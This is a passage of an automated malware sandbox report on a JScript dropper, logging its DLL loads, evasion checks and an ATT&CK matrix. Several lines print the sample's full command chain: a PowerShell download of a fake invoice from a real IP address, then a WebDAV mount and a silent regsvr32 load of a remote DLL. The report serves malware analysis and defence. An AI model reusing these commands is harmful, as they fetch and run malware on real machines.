Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8537.js.csv");ITextStream.WriteLine(" entry:2575 f:ghmwelvkl");ITextStream.WriteLine(" exec:2 f:ghmwelvkl");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22vymlmaifn%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20sfbph%3Dthis%5Bubarlx%2Bdaqygc%2Bqjger%2Bbdqbmid%2Bdbdeywyvc%2Bjhaye%2Btnkccwwyc%2Bolyhyje%5D(this%5Bmvrceo%2Bmzbaozqe%2Bpeqqmbxmj%2Bq");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49713

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4032			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5383			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6496	Thread sleep count: 4032 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1340	Thread sleep count: 5383 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6048	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5348	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4828	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1176	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182029050.000001A27FC8A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3420056363.00000230D9456000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3419086460.00000230D3E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3420025389.00000230D9443000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
